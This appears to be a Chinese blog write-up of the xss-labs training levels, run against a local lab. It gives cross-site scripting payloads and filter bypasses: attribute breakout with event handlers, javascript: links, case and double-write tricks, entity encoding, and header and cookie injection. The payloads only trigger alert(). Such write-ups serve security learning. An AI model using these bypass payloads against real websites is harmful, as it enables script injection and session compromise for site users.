xss-labs

题目

leval3

leval2没有使用htmlspecialchars函数,我们可以直接输入

"><script>alert(1)</script>

但是level4使用了htmlspecialchars函数

定义和用法
htmlspecialchars() 函数把预定义的字符转换为 HTML 实体。
1

所以为了避免这些出现,我们可以使用事件注入,通过闭合value值,然后再用onclick弹窗,也即是

'onclick='alert(1)

写里面之后再点击一下输入框就会弹窗了。
1
其实上面拼接之后就是

<input name=keyword value=''onclick='alert(1)'>这就好理解多了

这里看到<input就应该想到这个onclick

<input onclick=alert(11) >这个就是基础的弹框

level4

上面的事件注入照样也可以。
是这里面他并没有使用htmlspecialchars,而是将输入的<、>两个字符给置空了。
1

level5

1
这里上面两个都不能用了,我试了一下"><input+onclick=alert(1)+>//结果直接两个输入框,点击输入框也没用,因为我们所输入的就是==$str==的值,这样也避免不了被替换。
1
这时候要想到使用另一种弹窗方法<a href="javascript:alert(1)">,这里输入

"><a href="javascript:alert(1)"

然后我标记的地方就是一个链接,点击之后就会执行弹窗
2

level6

1
这关没有过滤大小写,只需要将那个前面的语句改为大写就行。

level7

7

和上题的区别就是增加了转换大小写,还有将上面那些字符给置空了,那么我们可以进行双写绕过。

level8

8

在这里我们上面的方法用不了了,大小写、双写都不行了,下面是用html实体编码绕过
javascript:alert(1)的实体编码为&#x6a;&#x61;&#x76;&#x61;&#x73;&#x63;&#x72;&#x69;&#x70;&#x74;&#x3a;&#x61;&#x6c;&#x65;&#x72;&#x74;&#x28;&#x31;&#x29;

level9

9
这一关在上一关的基础上检查了数据中是否会有**http://**字段,这里只需要改为alert('http://')即可

level10

1
在这里题目就是一张图片,在这里唯一能下手的就是参数。
2
那么由上面代码可以看到有用的就是t_sort,而这里<input name="t_sort" value="'.$str33.'" type="hidden">将其隐藏了。

  • 这个<input>元素的作用是在一个表单中添加了一个隐藏的输入字段,名称为"t_link",初始值为"‘$str33’"。当用户提交表单时,这个隐藏字段的值会被包含在表单数据中,从而可以在后台进行相应的处理。隐藏字段常常用于在不影响用户体验的情况下传递一些重要的数据。

由于input是被隐藏的,那么就需要其他方法触发,这里采用html的accesskey属性。

  • accesskey 是 HTML 中的一个全局属性(global attribute),它用于指定一个快捷键(access key)来激活或焦点(focus)特定的元素。使用快捷键可以通过键盘操作来快速访问页面上的某些元素,而无需使用鼠标。
    当用户按下指定的快捷键组合时,与 accesskey 属性关联的元素将获得焦点或激活,具体的行为取决于元素的类型。通常,浏览器和操作系统会提供不同的组合键来触发快捷键,比如在 Windows 下使用 Alt 键 + 快捷键,在 macOS 下使用 Control 键 + 快捷键。

  • accesskey 属性可以应用于几乎所有的HTML元素,包括链接、按钮、输入字段等等。

以下是一个使用 accesskey 属性的简单示例:

<!DOCTYPE html>
<html>
<head>
    <title>accesskey 示例</title>
</head>
<body>

<p>按下 Alt + G 快速跳转到 Google 网站:</p>
<a href="https://www.google.com" accesskey="g">Google</a>

<p>按下 Alt + S 快速提交表单:</p>
<form>
    <input type="text" name="search" accesskey="s">
    <input type="submit" value="Search">
</form>

</body>
</html>

不同的浏览器和操作系统可能会对 accesskey 的支持有所不同。

所以这里我们采用t_sort=2" accesskey="x" onclick="alert(1)" type="text"

level11

11

bp抓包注入到referer中

REFERER: " type="text" onclick="alert('xss')

level12
注入到UA头中。
level13
注入cookie中。

level15

1
了解一下**ng-include**:
2
那这里我们利用level1进行弹窗

http://127.0.0.1:2000/xss-labs/level15.php?src='level1.php?name=<img src=asd onerror=alert(1) >'

level16
空格被过滤使用换行符。

<img%0asrc=x%0aonerror=alert(123)>

level17

123

  • <embed>元素:<embed>是HTML中用于嵌入外部多媒体资源(如Flash动画、音频、视频等)的标签。

  • src属性:这是<embed>元素的一个属性,用于指定要嵌入的外部资源的URL或文件路径。

  • "xsf01.swf?":这是作为src属性值的内容。它包含了"内容"这一部分。

利用html事件属性

arg01=11&arg02=1 onmousedown=alert(1)
arg01=11&arg02=1 onmouseover=alert(1)

常见的onmousexxx事件属性:
3

知识点

<img src=1 onerror=alert(1)>

  • <img>: 这是HTML标签,通常用于在网页上显示图像。然而,它也可以被利用作为XSS攻击载体。
  • src=1: 这里的src是<img>标签的属性,用于指定图像的URL。在这里,将图像的URL设置为1,这通常是为了让这个标签在显示图像时请求一个无效的URL,从而引发错误。
  • onerror=alert(1): 这是XSS攻击的关键部分。onerror是一个事件属性,它允许在图像加载失败时触发特定的JavaScript代码。在这里,恶意的JavaScript代码是alert(1),它会弹出一个警告框显示数字1。

<input onclick=alert(1)>

  • <input>:这是HTML标签,通常用于在网页中创建交互式表单元素。在这里,它被用作一个输入元素。

  • onclick=alert(1):这是标签的事件属性之一,用于定义当用户在此输入元素上点击时要执行的JavaScript代码。在这个例子中,JavaScript代码是alert(1),它将弹出一个警告框显示数字1。

"><a href="javascript:alert(1)"

  • <a>:这是HTML中用于创建链接的标签,通常用于导航到其他页面或资源。

  • href="javascript:alert(1)":这是<a>标签的href属性,用于指定链接的目标地址。在这个例子中,href属性的值是javascript:alert(1)。这意味着当用户点击这个链接时,将执行其中的JavaScript代码,而不是导航到一个网址。

  • alert(1):这是JavaScript代码的部分,alert()是一个JavaScript函数,它将弹出一个警告框并显示数字1。

<input name="t_link" value="'.'" type="hidden">

  • <input>标签:这是HTML中创建表单元素的标签。通过使用该标签,可以在表单中添加各种输入字段,比如文本框、复选框、单选按钮等。
  • name="t_link":这是<input>标签的一个属性。它定义了表单元素的名称,这个名称在提交表单时会被用作数据的标识符。在这个例子中,表单元素的名称是"t_link"。
  • value="'.'":这是<input>标签的另一个属性。它定义了表单元素的初始值,即在用户没有输入任何值时,提交表单时会传递的默认值。在这个例子中,表单元素的初始值是一个字符串"'.'“。
    - type="hidden":这也是<input>标签的一个属性。它定义了表单元素的类型,这里是"hidden”,表示这是一个隐藏的输入字段。隐藏字段不会在页面上显示给用户,而是用于在后台传递数据。

<button onmouseover="alert(1)">悬停在我上面就会弹窗</button>

  • 在这个示例中,有一个按钮元素(<button>),它具有 onmouseover 属性。这意味着当用户将鼠标悬停在按钮上时,会触发 onmouseover 事件,并执行相应的 JavaScript 代码。在这个例子中,当用户悬停在按钮上时,会弹出一个警告框显示数字 “1”。

<input accesskey="x" onclick="alert(1)" type="text">

  • accesskey="x":这是一个 input 元素的 accesskey 属性。它指定了在页面上通过键盘激活该元素所需要使用的快捷键。在这里,accesskey=“x” 表示用户可以通过按下 Alt (或在 macOS 下是 Control) 键 + “x” 键来激活该输入字段。

  • onclick="alert(1)":这是一个 input 元素的 onclick 属性。它指定了当用户点击(单击)该元素时要执行的 JavaScript 代码。在这里,οnclick=“alert(1)” 表示当用户点击该输入字段时,将会弹出一个警告框显示数字 “1”。

  • type="text":这是一个 input 元素的 type 属性。它定义了输入字段的类型。在这里,type=“text” 表示这是一个文本输入字段,用户可以在该输入字段中输入文本。

拓展一个

  • type=“text”: 文本输入字段,用于接受任意文本。

  • type=“password”: 密码输入字段,用于接受密码,输入的内容会被隐藏。

  • type=“number”: 数字输入字段,用于接受数值输入,可以包含数字和符号(如+、-、小数点等)。

  • type=“email”: 用于接受电子邮件地址的输入字段,可以验证输入内容是否符合电子邮件地址的格式。

  • type=“url”: 用于接受URL地址的输入字段,可以验证输入内容是否符合URL的格式。

  • type=“tel”: 用于接受电话号码的输入字段,可以验证输入内容是否符合电话号码的格式。

  • type=“date”: 用于接受日期的输入字段,可以选择日期。

  • type=“time”: 用于接受时间的输入字段,可以选择时间。

  • type=“color”: 用于接受颜色的输入字段,可以选择颜色。

  • type=“checkbox”: 复选框,用于选择一个或多个选项。

  • type=“radio”: 单选按钮,用于在一组选项中选择一个。

  • type=“file”: 文件上传字段,用于选择上传文件。

评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值